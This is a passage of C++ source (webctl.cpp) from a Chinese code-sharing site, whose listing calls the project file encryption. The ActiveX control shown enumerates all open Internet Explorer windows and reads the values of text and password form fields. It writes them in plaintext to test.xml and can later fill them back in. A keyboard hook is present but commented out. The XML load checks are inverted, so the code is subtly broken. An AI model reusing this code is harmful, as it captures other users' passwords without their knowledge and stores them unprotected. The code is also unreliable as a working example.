⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 webctl.cpp

📁 visual c++实现对指定文件的加解密
💻 CPP
📖 第 1 页 / 共 2 页
字号:
								for(long i=0;i<=(p-1);i++)
								{
									V_VT(&id) = VT_I4;
									V_I4(&id) = i;
									V_VT(&index) = VT_I4;
									V_I4(&index) = 0;
										
									if(SUCCEEDED(pElementCol->item(id,index, &spDispatch)))
									// AfxMessageBox("2");
									if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLFormElement,(void**)&pFormElement)))
									{
										// AfxMessageBox("IHTMLFormElement");
										long q=0;
										if(SUCCEEDED(pFormElement->get_length(&q)))
										for(long j=0;j<=(q-1);j++)
										{
											V_VT(&id) = VT_I4;
											V_I4(&id) = j;
											V_VT(&index) = VT_I4;
											V_I4(&index) = 0;
											if(SUCCEEDED(pFormElement->item(id,index, &spDispatch)))
														
											if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLInputTextElement,(void**)&pInputElement)))
											{
												//AfxMessageBox("IHTMLInputTextElement");
												CComBSTR    value;
												CComBSTR    type;
												//这个是我添加的程序										
															
												//CComBSTR    test2(_T("hello zhanglei"));

												//到达这个地方
												pInputElement->get_type(&type);
															
												CString strtype(type);
												strtype.MakeUpper();
															
												if(strtype.Find("TEXT")!=-1)
												{
													//这个是从网页当中得到text的值
													pInputElement->get_value(&value);

													//pInputElement->put_value(test2);
													CString str(value);															
													if(!str.IsEmpty())
													{
														//写进列表框
														// m_ctrlIE.InsertItem(0, _bstr_t(value)+_bstr_t("  【可能是用户名或其他需提交的内容】"));
														//写进XML文件
														modify("OneRecord//text",str.GetBuffer(0));
													}
												}
												else if(strtype.Find("PASSWORD")!=-1)
												{
													pInputElement->get_value(&value);
													CString str(value);
													if(!str.IsEmpty())
													{
														//写进列表框
					                                    // m_ctrlIE.InsertItem(0, _bstr_t(value) + _bstr_t("  【应该是密码】"));
														//写进XML文件
														modify("OneRecord//password",str.GetBuffer(0));
													}
												}
											}
										}
									}
								}
							}
					}		
				}
			}
		}
	}
}

int CWebCtrl::modify(const char *nodeName, char *nodeValue)
{
	::CoInitialize(NULL);
	MSXML2::IXMLDOMDocumentPtr pDoc;
	HRESULT hr = pDoc.CreateInstance(__uuidof(MSXML2::DOMDocument));
    int rtval=0;
	if(!(SUCCEEDED(hr)))
	{     
		rtval=0;   
		return rtval;
	}   
	
	hr=pDoc->load("test.xml");// 文件名。
	
	if(!SUCCEEDED(hr))
	{
		
		MSXML2::IXMLDOMElementPtr pPolicyNode=pDoc->GetdocumentElement();
		MSXML2::IXMLDOMElementPtr pSelectNode=pPolicyNode->selectSingleNode(nodeName);
		pSelectNode->Puttext(nodeValue); 
		pDoc->save("test.xml");
		pPolicyNode.Release();
		pSelectNode.Release();
		rtval=1;          
		
	}
	pDoc.Release();
	::CoUninitialize();
	return rtval;
}

void CWebCtrl::OnTimer(UINT nIDEvent) 
{
	// TODO: Add your message handler code here and/or call default
//	Read();
	COleControl::OnTimer(nIDEvent);
}


int CWebCtrl::OnCreate(LPCREATESTRUCT lpCreateStruct) 
{
	if (COleControl::OnCreate(lpCreateStruct) == -1)
		return -1;
	
	// TODO: Add your specialized creation code here
	if (m_spSHWinds == NULL){
		if (m_spSHWinds.CreateInstance(__uuidof(SHDocVw::ShellWindows)) != S_OK){
			MessageBox("Failed");
			CoUninitialize();
		}
	}
	SetTimer(1,1000,NULL);
	CRect rect;
	GetWindowRect(&rect);

	m_btn.Create("Hello",WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON,rect,this,100);
	m_btn.MoveWindow(&rect);
	m_btn.ShowWindow(SW_SHOWNORMAL);
// 	SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,GetCurrentThreadId());
	return 0;
}

void CWebCtrl::Write() 
{
	// TODO: Add your dispatch handler code here
	VARIANT id, index;
	CComPtr<IDispatch> spDispatch;
	CComQIPtr<IHTMLDocument2, &IID_IHTMLDocument2> pDoc2;
	CComPtr<IHTMLElement> pElement;
	CComPtr<IHTMLElementCollection> pElementCol;
	CComPtr<IHTMLFormElement> pFormElement;
	CComPtr<IHTMLInputTextElement> pInputElement;
	// TODO: Add your control notification handler code here
// 	int n = m_ctrlIE.GetItemCount();//GetCount();
	
//	for (int i = 0; i < n; i ++){
//		IWebBrowser2 *pBrowser = (IWebBrowser2 *)m_ctrlIE.GetItemData(i);
//		if (pBrowser){
//			pBrowser->Release();
//		}
//	}
//	
//	m_ctrlIE.DeleteAllItems();

	if (m_spSHWinds){
		//得到浏览器的个数
		int n = m_spSHWinds->GetCount();
		
		//遍历每一个浏览器
		for (int i = 0; i < n; i++){
			_variant_t v = (long)i;
			IDispatchPtr spDisp = m_spSHWinds->Item(v);
			
			
			SHDocVw::IWebBrowser2Ptr spBrowser(spDisp);   //生成一个IE窗口的智能指针
			if (spBrowser){
				//添加的程序,得到IE的URL
				//spBrowser->get_LocationURL();
				
                if (SUCCEEDED(spBrowser->get_Document( &spDispatch)))
					pDoc2 = spDispatch;		
				if(pDoc2!=NULL)
				{   CComBSTR    bstr;
					pDoc2->get_URL(&bstr);
					CString    myURL(bstr);
						char   *pchar;
						pchar=this->GetValueFromXml("OneRecord//URL");
						
						if(!strcmp(myURL.GetBuffer(0),pchar))
					
					//这个时间说明我们打开的是一个真正的IE窗口
					{
						if (SUCCEEDED(pDoc2->get_forms(&pElementCol)))
						{
							//	AfxMessageBox("IHTMLElementCollection");
							long p=0;
							if(SUCCEEDED(pElementCol->get_length(&p)))
							if(p!=0)
							{   
								// AfxMessageBox("1");
								for(long i=0;i<=(p-1);i++)
								{
									
									V_VT(&id) = VT_I4;
									V_I4(&id) = i;
									V_VT(&index) = VT_I4;
									V_I4(&index) = 0;
									
									if(SUCCEEDED(pElementCol->item(id,index, &spDispatch)))
										// AfxMessageBox("2");
										if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLFormElement,(void**)&pFormElement)))
										{
											// AfxMessageBox("IHTMLFormElement");
											long q=0;
											if(SUCCEEDED(pFormElement->get_length(&q)))
											for(long j=0;j<=(q-1);j++)
											{
												V_VT(&id) = VT_I4;
												V_I4(&id) = j;
												V_VT(&index) = VT_I4;
												V_I4(&index) = 0;
												if(SUCCEEDED(pFormElement->item(id,index, &spDispatch)))
													
													if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLInputTextElement,(void**)&pInputElement)))
													{
														//AfxMessageBox("IHTMLInputTextElement");
														CComBSTR    value;
														CComBSTR    type;

														//这个是我添加的程序										
														
														//CComBSTR    test2(_T("hello zhanglei"));

														//到达这个地方
														pInputElement->get_type(&type);
														
														CString strtype(type);
														strtype.MakeUpper();
														
														if(strtype.Find("TEXT")!=-1)
														{
														    //这个是从XML文件向网页内写东西
															char   *pchar;
															pchar=this->GetValueFromXml("OneRecord//text");
															CComBSTR  textvalue(_T(pchar));
															pInputElement->put_value(textvalue);
			
														}
													    else if(strtype.Find("PASSWORD")!=-1)
														{
															//这个是从XML文件向网页内写东西
															char   *pchar;
															pchar=this->GetValueFromXml("OneRecord//password");
															CComBSTR  textvalue(_T(pchar));
															pInputElement->put_value(textvalue);
														}
													}
											}
										}
								}
							}
						}
						
					}
					
				}
			}
		}
	}
	
}

char * CWebCtrl::GetValueFromXml(char *nodeName)
{
	char* nodeValue=NULL;
	::CoInitialize(NULL);
	MSXML2::IXMLDOMDocumentPtr pDoc;
	HRESULT hr = pDoc.CreateInstance(__uuidof(MSXML2::DOMDocument));
	
	if(!(SUCCEEDED(hr)))
	{     
		return nodeValue;
		
	}   
	
	hr=pDoc->load("test.xml");
	if(!SUCCEEDED(hr))
	{            
		MSXML2::IXMLDOMElementPtr pPolicyNode=pDoc->GetdocumentElement();            
		MSXML2::IXMLDOMElementPtr pSelectNode=pPolicyNode->selectSingleNode(nodeName);        
		nodeValue =    _com_util::ConvertBSTRToString(pSelectNode->text);              
		pPolicyNode.Release();
		pSelectNode.Release();
	}
	pDoc.Release();
	::CoUninitialize();
	return nodeValue;
}


void CWebCtrl::OnLButtonDown(UINT nFlags, CPoint point) 
{
	// TODO: Add your message handler code here and/or call default
	Write();
	COleControl::OnLButtonDown(nFlags, point);
}


void CWebCtrl::OnKeyDown(UINT nChar, UINT nRepCnt, UINT nFlags) 
{
	// TODO: Add your message handler code here and/or call default
	MessageBox("hahaha");
	COleControl::OnKeyDown(nChar, nRepCnt, nFlags);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -